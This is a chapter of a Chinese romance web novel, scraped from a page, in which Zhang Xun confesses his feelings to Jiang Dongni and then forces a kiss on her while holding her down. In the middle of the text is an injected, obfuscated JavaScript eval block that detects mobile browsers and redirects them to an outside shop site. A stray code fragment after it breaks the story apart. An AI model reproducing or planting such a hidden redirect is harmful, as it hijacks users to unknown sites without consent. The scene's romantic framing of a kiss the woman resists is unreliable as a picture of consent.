58. 怦怦(6)
    张旬和上回一样带了一个包,他边进屋边摘下口罩,先放下包,然后进洗手间洗手,出来的时候帽子摘下了,头发一丝不苟,他漫不经心地对蒋冬霓说了这么一句:“我的牙刷还有其他东西你都没扔。”

    他说得一点也不得意,但其内涵与深意却是显而易见的。

    蒋冬霓回以同样平淡的语气:“嗯,我留着刷厕所。”

    张旬愣了好几秒,忍俊不禁:“今天我可以睡床上吗?”

    蒋冬霓有点无语,“我从来没不让你睡床上过。”

    这话一出,不用张旬揶揄,她都意识到了有歧义,狠狠地瞪了张旬一眼:“随便你。”

    “你说你有男朋友,是骗我的是吧。”他玩着手里的帽子,用陈述句问她。

    换做平时的蒋冬霓可得好好嘲讽一下张旬,但现在她也挺累的,没心思再和他玩游戏,直接承认:“嗯,反正你也没信不是吗?”

    “你怎么知道我不会信?”张旬轻笑。

    蒋冬霓语噎,张旬又好奇般问她:“为什么骗我?”

    “就准你骗我不准我骗你?”蒋冬霓懒得搭理他,让他如果今晚要住下来就赶快去洗漱,要么她先洗,她已经很想睡觉了。

    结果照旧是张旬先,蒋冬霓后。当蒋冬霓从卫生间出来时,客厅的灯给关掉了,只有侧卧的门和灯都开着。发着光的房间,像是照亮夜晚航海的指明灯,又像是引诱探险的金银宝窟。

    两间卧室并排,蒋冬霓走向自己房间,视线范围内无可避免地收入侧卧的光景。张旬坐在床尾,姿态放松地等着她似的,目光相对,他忽然说:“其实你有男朋友也没关系。”

    蒋冬霓一时没反应过来。

    “就算你结婚也没什么关系。”

    这回蒋冬霓听明白了,这家伙又开始了,“……你知道自己在说什么吗?”

    张旬点头。

    “你是鬼吗?我倒了霉要被你缠一辈子?”

    张旬听着却笑起来,仿佛刚才那些惊世骇俗的话都不是他说的,反而还不好意思地低头摸了摸自己的头发。笑声渐渐淡下去,他重新抬起脸,“蒋冬霓,我喜欢你。”

    他收起了笑,神情认真,语气温柔。

    原来真情和假意……其实是很好辨别的,蒋冬霓恍惚地想这个问题。

    郑重又带着初次脱口必然的笨拙,像一句没有排练好的台词。

    白炽灯的光平板直接地照在两个人的身上,毫无浪漫和氛围感可言,蒋冬霓却觉得自己的脸烫了起来,像被暖风机吹着一样。张旬于她的形象极端得如同一颗毫无规则的球的落点,现在这颗球停下了,停在一个她触手可及的位置。

    “疯子。”她一边说一边回到自己的房间。

    同样,没有开灯,靠着冰冷坚硬的门板,而这一次心跳却在慢慢加快,像一组越来越急促的鼓点,有只鸽子扑腾着翅膀要从心口飞出来。

    蒋冬霓知道自己有点扛不住事,但她没想到自己能没出息到这种程度?想来竟也是有点可怜和笑话,因为这好像是她正儿八经地第一次被表白。

    既不是与孟行远的心照不宣、君子之交,也不是和许景恺基于成年异性循序渐进的互相了解。

    她从来没想过——谁能想得到,有那么一天,她的卧室会成为告白地点,虽然她平时真的不怎么考虑情情爱爱,但曾经在这个房间里看的漫画,构成过她对恋爱的启蒙。

    阳光正义的少年踏着七彩祥云而来……

    对象大相径庭,但耐不住羞耻感从她脚底直冲脑门,理智上再想保持冷静,却无法控制延迟的青涩的生理反应。

    不过深呼吸几口气,蒋冬霓很快就再次平复了心情,她拍了拍自己的胸口,觉得自己的心脏在这一个晚上得到了极强的训练。

    张旬的睡眠一向少得可怜,所以在去年刚住进来睡不着的时候,把这个房间里所有东西都当做催眠的阅读材料。

    从床底下的那几箱画册,到后来书架上的漫画小说,几乎都看过了,他就去看隔壁睡着了的原房间的主人。

    窥探性的不怀好意,从好奇演变成了研究。

    他不止一次地奇怪过,蒋冬霓居然这么放心他,虽然很长一段时间里他认为这是她对他的毫不在意;也不止一次地想象过,如果哪天蒋冬霓醒来,看到他会是什么反应。

    听见隔壁传来的关门声,张旬嘴角上扬往后躺在床上,手背挡在眼前。

    他的初次告白,有点滑稽、过于普通,氤氲的情绪好像浴室里湿漉漉的水汽,攀在墙壁上,久而久之形成霉渍。

    张旬甚至不知道这是不是真的喜欢,但他找不到其他词义来形容他对蒋冬霓的感情。

    他想和她住在一起,虽然对这个房子环境他仍持有保留意见,所以最好她能搬到他那儿去,不过真要在这儿也可以;他想每次结束工作回家时都有人,或者说知道有一个人在等他,就像他之前等着蒋冬霓回来一样。

    他厌烦过别人的目光,也享受过他人的注视,他喜欢也习惯于给自己预设一套行为准则,但也许也能有一个人会用嫌弃的眼神说他很讨厌、很恶心。

    她讨厌恶心的那个人是他吗?张旬觉得可能蒋冬霓自己也不清楚吧。

    他关了灯,很快睡着了,但更快地醒了。

    五点多钟,如果是夏天,晴朗的晨光已将窗帘熨烫平整,能听见窗外麻雀的啁啾,但冬天的这个时间天还是昏暗的,黎明尚未到来,新的一天还没有真正开始。

    张旬久未在这个房间里睡过了,刚醒来还有些茫然,等他走出房间,站在尚未被太阳催醒的客厅边上,想到什么,走到隔壁的房门前。

    蒋冬霓的房间门没有锁。

    他低下头,笑了笑。

    蒋冬霓是放心他还是看不起他,还是在考验他呢?

    张旬反省自己太轻敌把蒋冬霓看得太简单,她没有什么弯弯绕绕的心思,但事到如今,他却越来越看不懂她,正如越来越看不懂自己,那些互相的试探、互相的隐瞒,变成了线纠缠在一起。

    他在客厅里简单锻炼了一会后,去洗了个澡,差不多天亮时,戴上口罩去早市买菜。

    那个菜市场他去过几次,在家里待得实在无聊,他会想要下楼走一走,在蒋冬霓不知道的时候,以她带他去菜市场的那条路为中心轴扩展范围。

    从菜市场出来往右是回家的路,而左拐,沿着一条两边种满了樟树的小路走到底,是一处小学。

    很小,从校门外看只有三栋楼环绕着一个操场而已。

    张旬没有求证过,但他猜想蒋冬霓应该是在这儿上的小学。

    从小学门口向北走,是一条上坡路,中间会途径一个小公园,穿过公园再过马路,就回到了蒋冬霓的家,正好形成一个长方形线路。

    买完菜回来八点还不到,蒋冬霓一般最早十点后才会起床,他可以等到九点再做饭,还有一个多小时的时间。

    昨晚来得及仔细看,张旬趁空检查了下卫生。也许蒋冬霓最近不久刚刚打扫过——应该最近不久刚刚打扫过,还蛮干净的,但沙发套和枕套明显很久没有洗了,他一一拆掉,顺便把蒋冬霓丢在沙发上的外套一并扔进洗衣机里。

    外套扔进去前他检查了下口袋,掏出了钥匙、门禁卡、拆封了的小包纸巾、两颗薄荷糖、一个黑色皮筋,还有一张折起来的电影票。

    蒋冬霓睁开眼睛后在床上至少躺了半个小时。

    假装自己是在赖床玩手机,但竖着一只耳朵在听外头的动静。

    安安静静的,张旬估计走了。

    但打开门,张旬坐在餐桌前好整以暇地等着她,桌上摆好了饭菜。

    迟早有一天要在她的卧室门上也安个猫眼,蒋冬霓心想。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14194941|150776||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “……你怎么还没走?”她问。

    张旬说:“马上。”

    蒋冬霓:“你几点的飞机?”

    张旬:“我改签了。”

    蒋冬霓:“……”

    不知怎得,她有一种拔腿逃跑的冲动,但因为太没根据且显得太怂,蒋冬霓定定地站在原地不动。

    “你昨天去看我的电影了?”张旬问她。

    “啊?哦……”

    什么啊,就这?

    “怎么样?”

    “一般吧。”

    “你紧张什么?”

    蒋冬霓莫名其妙:“我哪有紧张,你别乱说话。”

    “把我的微信加回来吧。”

    蒋冬霓有点不耐烦了,她动了动绷得有点僵直的腿,“你是不是搞错了,昨天晚上说好了的,你现在应该消失了。”

    张旬意味不明地点头:“我应该努力工作,这样你想不看到我都难。”

    蒋冬霓反应过来张旬隐晦的戏弄后,顿时恼羞成怒了。

    又赖着不走……

    她进到次卧抓起椅子上的旅行包,正要往门口扔,张旬从她身后同样拽住提手,温热宽厚的掌心覆盖了她的手背。

    这个姿势蒋冬霓几乎被张旬半圈在怀里,她既要夺包,又要避着和他肢体接触,一番争执,她觉得自己是往旁边躲的时候脚后跟被张旬绊了一下,整个人失去重心,张旬抱住她,而她是溺水的人找稻草,下意识地也拉了他一把,结果就是两个人双双摔倒在床上。

    她被张旬压倒在床上。

    他趁机故意的。

    蒋冬霓立刻用力去推他,但隔着秋冬的衣物都感觉他身上烫极了,蒋冬霓只是碰了他一下都担心被他灼热。没推动,他两只胳膊撑在她的两侧,她完全被他的沉重压迫的炙热气息笼罩着。

    蒋冬霓感觉自己此刻像只被镇压住了的猴子。

    她还是头一次从这个角度看张旬,也不敢多看,视线避开他黑沉沉的眼睛,飘过他高挺的鼻梁和唇形漂亮的嘴唇,划过喉结,最后停在了他衬衫的第一个纽扣上,心里哀叹,这五指山什么时候能够移开。

    不但没移开,还朝她靠近了,他垂下的发丝若有似无地轻扫过她的额头,痒得蒋冬霓难受得扭过了脸。她随之感觉到张旬身形似乎微滞,她跟着呼吸不畅了起来,下一秒,嘴唇被印上温烫的柔软。

    蒋冬霓睁大了眼睛,视线慢慢回到张旬的脸上,他也正看着她,带着冷漠的打量和似乎隐忍的兴奋,四目相对,他一只手抚上她的脸颊,然后闭上了眼睛,态度强势地加深了这个吻。

    当他的舌头撬开了她的唇齿,挑弄地与她的勾缠在一起的时候,绝对陌生滚烫的刺激触感令蒋冬霓自尾椎身上一阵酥麻,如梦初醒,才想到再去推张旬,但两只手都立刻被他扣住。

    蒋冬霓还要再挣扎,被他警告性地轻轻咬了下嘴唇,蒋冬霓大怒,奔着鱼死网破的心情狠狠咬了一口回去,她听见张旬闷哼出声,但依然还是挣脱不出,抵抗的过程中她的嘴唇也被张旬的牙齿划破。

    血的气味刺激得彼此变成两只互相撕咬的鲨鱼,直到最后血与沫交融。

    筋疲力尽之际,张旬含着她的耳朵,但他呼吸急促、声音微微颤抖,而蒋冬霓缺氧得大脑一片金星,也全没听清张旬说了什么。

    意外的开始、糊涂的结束,并不美妙的体验,蒋冬霓的手终于被放了开,她摸了摸自己的嘴唇,感觉肿了,抱怨:“痛死了。”

    张旬看过来的眼神把蒋冬霓又微微吓得心口一跳,还好他只是额头抵着她,又亲了下她的眉心。

    蒋冬霓起了一身鸡皮疙瘩。

    “下次我会轻一点,对不起。”

    蒋冬霓:“……”

    他湿漉漉的吻开始下移,忍无可忍的蒋冬霓伸手掐住他的脸颊,“现在给我起来。”